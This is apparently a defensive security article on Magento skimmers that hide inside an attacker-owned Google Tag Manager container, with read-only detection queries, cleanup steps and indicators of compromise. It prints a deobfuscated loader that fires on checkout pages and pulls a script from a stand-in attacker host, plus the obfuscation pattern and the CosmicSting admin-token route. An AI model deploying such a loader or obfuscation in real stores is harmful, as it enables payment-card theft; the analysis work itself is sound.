Some Magento skimmers are hard to find because they are buried in a 90 KB JavaScript library or encrypted inside an image. This one is hard to find for the opposite reason: there is nothing on the server to find. The theme files are clean, pub/static matches the stock build, the modules have not been touched, and the database contains a single line that looks exactly like what every marketing team pastes into a store:
<script async src="https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXXX"></script>
The only thing wrong with that line is the container ID. It does not belong to the store owner. It belongs to the attacker, and the card-skimming logic lives inside that Google Tag Manager container, on Google's infrastructure, where no file scanner or database search on the store will ever see it. This article explains how the technique works, how to pull the hidden code out of a container and read it, why the usual timestamps will not tell you when the line was added, and the read-only checks you can run on your own Magento store.
🎯 Why a tag manager container is the perfect hiding place
Google Tag Manager (GTM) lets a site load one small script and then decide, from a web dashboard, which other scripts to run on which pages. That is exactly the feature set a skimmer operator wants:
- The domain is trusted. The script is served from
www.googletagmanager.com. It is on every allowlist, every Content-Security-Policy that permits analytics, and every reviewer's list of "normal" third-party hosts. - The code is not on the store. File-integrity checks, malware scanners and database greps see only the one-line loader. The payload is in a container the store owner cannot open, because it is in someone else's Google account.
- It can be changed at any time. The operator edits the container, presses Publish, and every store that references it runs the new code on the next page view. No second visit to the server is needed, so there is nothing new in the server logs either.
- It looks like a marketing setting. Many Magento stores carry two or three GTM IDs from different agencies over the years. One more ID in an analytics extension's settings does not stand out.
🗂️ Where the line hides in Magento
Magento does not have one place for tracking code. The loader can sit in any field that is printed into the page:
- The "GTM code" or "custom head script" field of an analytics or Enhanced Ecommerce extension, stored in
core_config_dataunder the extension's own path. - Content → Design → Configuration → HTML Head → Scripts and Style Sheets (
design/head/includes) or the footer's Miscellaneous HTML (design/footer/absolute_footer). - A CMS block or widget that is rendered on every page.
- A theme template (
.phtml), where it is at least visible to file-based checks.
Because the line is configuration, it is stored per scope. It may be set only on one website or store view — for example only on the store view that serves the checkout domain — and look absent if you check the default scope only.
🧩 Opening the container: what is actually inside
A GTM container is public by design: the browser has to download it to run it. Requesting gtm.js?id=GTM-XXXXXXX returns the full compiled container, typically a few hundred kilobytes of Google's runtime followed by a JSON-like resource object that describes the tags, triggers and variables. Download it to an analysis machine — never run it in a browser — and look for Custom HTML tags. In the compiled container they appear as "function":"__html" entries with the tag's code in a "vtp_html" field:
# fetch the container once, as a file, for offline analysis
curl -s 'https://www.googletagmanager.com/gtm.js?id=GTM-XXXXXXX' -o container.js
sha256sum container.js
# list every Custom HTML tag and how long its code is
python3 - container.js <<'EOF'
import re, sys, json
src = open(sys.argv[1], encoding='utf-8', errors='replace').read()
for m in re.finditer(r'"vtp_html":("(?:[^"\\]|\\.)*")', src):
html = json.loads(m.group(1))
print('---', len(html), 'chars'); print(html[:600])
EOF
A legitimate container usually holds tags such as Google Analytics, Ads conversion, a consent tool or a chat widget — mostly built-in tag types, with Custom HTML used for small, readable snippets. A skimmer container typically has a single Custom HTML tag, set to fire on all pages, whose content is one long obfuscated script.
🔐 Decoding the tag: a character table and a checkout check
The obfuscation in this family is simple but effective against keyword searches. Every string the script needs — location, href, createElement, script, head, the external URL — is built at runtime from numeric character codes, so none of them appear as text in the container:
// typical shape (names and numbers differ per sample)
var _t = [104,101,97,100, 115,99,114,105,112,116, /* ... */];
function _s(a, b) { return String.fromCharCode.apply(null, _t.slice(a, b)); }
// _s(0,4) -> "head"
// _s(4,10) -> "script"
Printing each _s(...) call in an isolated Node.js session (with the function defined, but nothing executed against a DOM) turns the table back into strings. With the strings restored and the variables renamed, the whole tag reduces to a few lines:
(function () {
var u = location.href;
if (u.indexOf('checkout') === -1 && u.indexOf('onepage') === -1) return; // checkout pages only
var s = document.createElement('script');
s.src = 'https://skimmer.example/loader/?s=' + btoa(btoa(location.host)); // store ID for the operator
document.getElementsByTagName('head')[0].appendChild(s);
})();
Three details matter:
- Checkout only. The tag fires on every page, but does nothing unless the URL contains
checkoutoronepage— the paths Magento uses for its checkout. Browsing the catalogue, crawling product pages or scanning the home page shows nothing. - The store identifies itself. The store's hostname is base64-encoded twice and sent as a parameter. One container can be planted on many stores, and the operator's server knows which store each request comes from and can serve each one a payload built for its checkout.
- The real skimmer is a third stage. The container only loads another script. The code that reads the card fields or draws a fake payment form is on the attacker's server and can change at any time. That is why it is worth collecting the container and the loader line as evidence, but not worth trying to reach the final stage from a production machine.
⏱️ Why you probably cannot tell when it was added
The first question after finding the line is usually "When did this get there?" On Magento the honest answer is often "We can't tell from the database."
core_config_datahas anupdated_atcolumn, but it records the last save of that row. When the store owner removes the line, the timestamp becomes the time of the removal, and the original value and time are gone.- The admin panel writes every configuration save as a
POSTto/admin/admin/system_config/save/section/<section>/. If the server's access logs still cover the period, search them for the extension's section name. If the only save you find is the cleanup itself, the line was either added before the logs begin or added some other way, such as directly in the database or by a REST or deployment process. - The container itself has no history you can see. Only the owner of the GTM account can view its version log.
Before you delete an injected setting, copy its full value, itspath,scope,scope_idandupdated_at. Removing it is the moment that evidence disappears.
🚪 How attackers get the line in
The container is only the payload. Someone still had to write one line into the store's configuration, and that requires admin-level access of some kind. The usual routes are:
- An unpatched Magento with a known API flaw. CVE-2024-34102 ("CosmicSting") let unauthenticated attackers read
app/etc/env.php, including the encryption key. With that key they can sign their own admin API tokens and call the REST API as an administrator, without ever requesting a token or logging in. Rotating admin passwords does not stop this; patching and then rotating the encryption key does. - Stolen admin credentials or sessions, often from an agency or freelancer account that was never removed.
- A compromised server account, where the attacker edits the database directly.
- A compromised Google account that already manages the store's real container. In that case the store's own GTM ID is correct, and the malicious tag is inside the legitimate container.
The same access is usually used for more than one thing. If you find a rogue container, also check CMS blocks, pages and widgets for injected <script> tags, and look for authenticated REST requests that change content, such as PUT /rest/V1/cmsBlock/<id>.
🔍 How to check your own Magento store
All of these checks are read-only. Run the SQL against the store's database with its configured table prefix.
1. List every tag manager and analytics ID the store prints
SELECT config_id, scope, scope_id, path, updated_at,
REGEXP_SUBSTR(value, 'GTM-[A-Z0-9]{4,10}|G-[A-Z0-9]{6,12}|AW-[0-9]{6,12}') AS tag_id
FROM core_config_data
WHERE value REGEXP 'GTM-[A-Z0-9]{4,10}|googletagmanager|gtag/js'
ORDER BY updated_at DESC;
Every ID in the result should be one you can open in your own Google account. An ID nobody on the team recognises is the finding.
2. Search content tables for script loaders
SELECT 'cms_block' AS t, block_id AS id, identifier, update_time FROM cms_block
WHERE content REGEXP 'googletagmanager|<script|atob\\(|fromCharCode'
UNION ALL
SELECT 'cms_page', page_id, identifier, update_time FROM cms_page
WHERE content REGEXP 'googletagmanager|<script|atob\\(|fromCharCode';
Also check widget_instance.widget_parameters and design/head/includes / design/footer/absolute_footer in core_config_data.
3. Compare with what the checkout actually serves
curl -s https://example.com/checkout/cart/ \
| grep -oE 'GTM-[A-Z0-9]{4,10}|G-[A-Z0-9]{6,12}|src="https://[^"]+"' | sort -u
Fetch the page from the origin server as well as through your CDN, and from the store views that serve each domain. A container that appears only on one domain or only on checkout is a strong lead.
4. Read every container you do not fully control
Download each unfamiliar container with the commands above and read every Custom HTML tag. Red flags: String.fromCharCode tables, atob/btoa of location.host, URL checks for checkout or onepage, and createElement('script') with an external host.
5. Check whether the configuration was saved from the admin panel
grep -h 'system_config/save/section' /path/to/access-logs/* \
| awk '{print $1, $4, $7}' | sort | uniq -c | sort -rn | head -50
Match each save of the analytics section against your team's IP addresses and working hours.
🧹 Cleaning up
- Record the evidence first: the full configuration value and its scope, a copy of the container file with its hash, and the relevant log lines.
- Remove the loader line from every scope where it appears, then flush Magento's caches, the full-page cache and any CDN, and confirm from the origin that the checkout no longer references the container.
- Close the way in. Apply all Magento security patches. If the store was ever vulnerable to CosmicSting, rotate the encryption key after patching, then change the database password and every admin password, since
env.phpmay have been read. - Review admin users and API integrations, remove accounts nobody can account for, and enable two-factor authentication and IP restrictions for the admin area.
- Review who can publish to your real GTM containers. Remove old agency users and check each container's version history for Custom HTML tags you did not add.
- Keep the server's security software scanning the database, so that injected script tags in configuration and content are found even when the files are clean.
A Content-Security-Policy that allows www.googletagmanager.com cannot tell your container from the attacker's, because both are served from the same host. CSP still helps on checkout pages by blocking the third-stage script from an unknown domain, so it is worth a strict policy there.
📌 Indicators to hunt for
# Loader line in configuration or content
googletagmanager.com/gtm.js?id=GTM-<ID not owned by the store>
# Inside the container (compiled gtm.js)
"function":"__html" with a long, obfuscated "vtp_html"
String.fromCharCode table + index-slice helper
indexOf('checkout') / indexOf('onepage') URL gate
btoa(btoa(location.host)) per-store identifier
createElement('script') appended to <head> from an unknown host
# Logs
POST /admin/admin/system_config/save/section/<analytics-section>/ from unknown IPs
PUT /rest/V1/cmsBlock/<id> with no matching token request
✅ Takeaways
- A trusted domain is not a trusted script.
googletagmanager.comserves whatever the container owner publishes. The container ID is what you need to verify. - Clean files and a clean database do not mean a clean checkout. Check what the checkout page actually loads, and read every third-party container you do not control.
- Configuration is code. One field in an analytics extension can run JavaScript on every checkout. Inventory those fields as carefully as your theme files.
- Capture before you clean. The setting's timestamp is overwritten the moment you remove it.
- Fix the access, not just the symptom. The container was the visible part. An unpatched API or a leaked encryption key will let the same line be written again.
❓ Frequently asked questions
Can Google Tag Manager be used to steal credit cards?
Yes. A GTM container can run Custom HTML tags, which are arbitrary JavaScript. If an attacker places a reference to their own container in a store, the container can load a skimmer on checkout pages, while the store's files and database contain only a normal-looking GTM snippet.
How do I know whether a GTM container on my Magento store is mine?
List every GTM ID the store prints, from core_config_data, CMS content and the rendered checkout page, and check that each one appears in a Google account your team controls. Any ID you cannot open in your own account should be downloaded and inspected, then removed if nobody can account for it.
Why didn't a malware scan find the skimmer?
The malicious code was never on the server. The store only referenced a container hosted by Google, and the skimmer logic was inside that container and in a further script on the attacker's server. A scanner sees a valid GTM snippet unless it knows the specific container ID is malicious.
Can I find out when the GTM code was added?
Often not from the database: core_config_data.updated_at only records the last save, and removing the line overwrites it. Access logs may show an admin configuration save or a REST call if they go back far enough. Record the value and timestamp before you remove anything.